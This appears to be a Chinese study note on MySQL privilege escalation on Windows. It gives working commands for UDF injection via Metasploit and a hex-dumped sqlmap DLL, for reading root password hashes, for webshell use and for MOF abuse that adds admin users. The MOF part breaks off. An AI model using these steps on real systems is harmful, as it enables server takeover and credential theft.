跳转至

Windows 提权——数据库提权

一、mysql提权

0X01udf提权

了解UDF

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。

获取网站数据库账号密码

1.对于CMS,查找配置文件(inc.php/config.php/connect.php)

2.查找Mysql安装目录,在安装目录“/data/mysql/user.myd”中存放了root账号密码,可通过md5解密获得。

3.使用查询语句进行查询

select user,password from mysql.user; 
select user,password from mysql.user where user ='root'; 

使用UDF提权的知识储备

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like %plugin%; # 查看plugin路径。

利用条件:

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
  2. mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  4. 可以将udf.dll写入到相应目录的权限。
  5. 知道root账号密码

操作方法一 MSF-udf-利用:

靶场设置:在phpmyadmin中开启mysql远程连接

​ 执行use mysql;

​ 执行grant all privileges on . to root@'%' identified by '密码';

​ 执行flush privileges;

在MySQL的安装目录下创建/lib/plugin (方便提权复现,也可以通过某工具进行创建)

使⽤MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进⾏UDF提权

  1. 设置参数,执行导入dll

    use exploit/multi/mysql/mysql_udf_payload
    set payload windows/meterpreter/reverse_tcp
    set password xxxxx(密码)
    set rhosts 192.168.191.152 #靶机IP
    run
    
  2. 使用数据库管理工具连接mysql,执行命令下面命令查看dll是否导入成功,并且新建函数sys_exec

select * from func;
  1. sys_exec无回显,使用创建的dll生成自建函数sys_eval
create function sys_eval returns string soname 'vsUZFsjO.dll';
  1. 执行查询命令
select sys_eval('whoami');

操作方法二 手工导出sqlmap中的dll:

条件:在my.ini中创建配置文件:

[mysqld]中添加属性 secure_file_priv=''

sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_

  1. 将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll

kali中
//python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o udf.dll
  1. 将我们的udf.dll文件通过十六机制进行处理;
SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';
  1. 打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容
create table udftmp (udf LONGBLOB);
  1. 在udftmp中写入udf文件的十六进制内容
INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
  1. 将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
SELECT @@plugin_dir;
SELECT udf from udftmp INTO DUMPFILE "C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll";
  1. 执行下面语句,创建函数cmdshell
create function cmdshell returns string soname 'udf.dll';
  1. 执行命令
select cmdshell ('whoami');

操作方法三 暗月moon.php:

  1. 利用大马查询mysql版本、数据库用户、安装目录以及plugin路径

  2. 如果不存在相关路径,可以通过大马进行创建

  3. 在my.ini中

[mysqld]中添加属性 secure_file_priv=''

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

​ 因为mysql默认设置是不允许导入导出的;secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限

  1. 执行命令,查看mysql版本位数
show variables like '%version_%';
  1. 上传UDF提权专用shell “/webshell-master/net-friend/php/moon.php”

  2. 导出udf后提交创建sys_eval命令

  3. mof提权

  4. 描述

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译

  1. 原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。

其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命

令。

  1. 影响版本

  2. windows 03及以下版本

  3. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录3.secure-file-priv参数不为null

4.复现

公开的nullevt.mof利用代码

把mof.php上传到脚本 填写命令导出即可